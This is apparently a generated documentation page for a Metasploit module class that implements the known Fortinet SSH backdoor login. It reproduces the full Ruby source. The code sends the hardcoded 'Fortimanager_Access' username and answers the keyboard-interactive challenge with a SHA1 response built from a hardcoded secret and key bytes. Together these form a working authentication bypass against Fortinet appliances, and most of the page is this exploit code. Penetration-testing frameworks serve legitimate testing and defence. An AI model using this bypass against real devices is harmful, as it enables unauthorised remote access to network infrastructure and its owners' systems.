Class: Net::SSH::Authentication::Methods::FortinetBackdoor

Inherits:
Abstract
  • Object
show all
Defined in:
lib/msf/core/exploit/remote/ssh/auth_methods/fortinet_backdoor.rb

Overview

Constant Summary collapse

USERAUTH_INFO_REQUEST =
60
USERAUTH_INFO_RESPONSE =
61

Instance Method Summary collapse

Instance Method Details

#authenticate(service_name, username = 'Fortimanager_Access', password = nil) ⇒ Object



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# File 'lib/msf/core/exploit/remote/ssh/auth_methods/fortinet_backdoor.rb', line 15

def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
  debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }

  send_message(userauth_request(
=begin
    string    user name
    string    service name
    string    "password"
    boolean   FALSE
    string    plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
=end
    username,
    service_name,
    'password',
    false,
    password || ''
  ))

  tried = false

  loop do
    message = session.next_message

    return false unless message

    case message.type
    when USERAUTH_SUCCESS
      debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
      return true
    when USERAUTH_FAILURE
      debug { 'Received SSH_MSG_USERAUTH_FAILURE' }

      break if tried

      debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }

      send_message(userauth_request(
=begin
        string    user name (ISO-10646 UTF-8, as defined in [RFC-3629])
        string    service name (US-ASCII)
        string    "keyboard-interactive" (US-ASCII)
        string    language tag (as defined in [RFC-3066])
        string    submethods (ISO-10646 UTF-8)
=end
        username,
        service_name,
        'keyboard-interactive',
        '',
        ''
      ))

      tried = true
    when USERAUTH_INFO_REQUEST
      debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }

=begin
      string    name (ISO-10646 UTF-8)
      string    instruction (ISO-10646 UTF-8)
      string    language tag (as defined in [RFC-3066])
      int       num-prompts
      string    prompt[1] (ISO-10646 UTF-8)
      boolean   echo[1]
      ...
      string    prompt[num-prompts] (ISO-10646 UTF-8)
      boolean   echo[num-prompts]
=end
      name        = message.read_string
      instruction = message.read_string
      _           = message.read_string

      prompts = []

      message.read_long.times do
        prompt   = message.read_string
        echo     = message.read_bool
        prompts << [prompt, echo]
      end

      debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }

      send_message(Net::SSH::Buffer.from(
=begin
        byte      SSH_MSG_USERAUTH_INFO_RESPONSE
        int       num-responses
        string    response[1] (ISO-10646 UTF-8)
        ...
        string    response[num-responses] (ISO-10646 UTF-8)
=end
        :byte,   USERAUTH_INFO_RESPONSE,
        :long,   1,
        :string, custom_handler(name, instruction, prompts)
      ))
    else
      raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
    end
  end
end

#custom_handler(title, instructions, prompt_list) ⇒ Object



114
115
116
117
118
119
120
121
122
# File 'lib/msf/core/exploit/remote/ssh/auth_methods/fortinet_backdoor.rb', line 114

def custom_handler(title, instructions, prompt_list)
  n = prompt_list[0][0]
  m = Digest::SHA1.new
  m.update("\x00" * 12)
  m.update(n + 'FGTAbc11*xy+Qqz27')
  m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
  h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
  [h]
end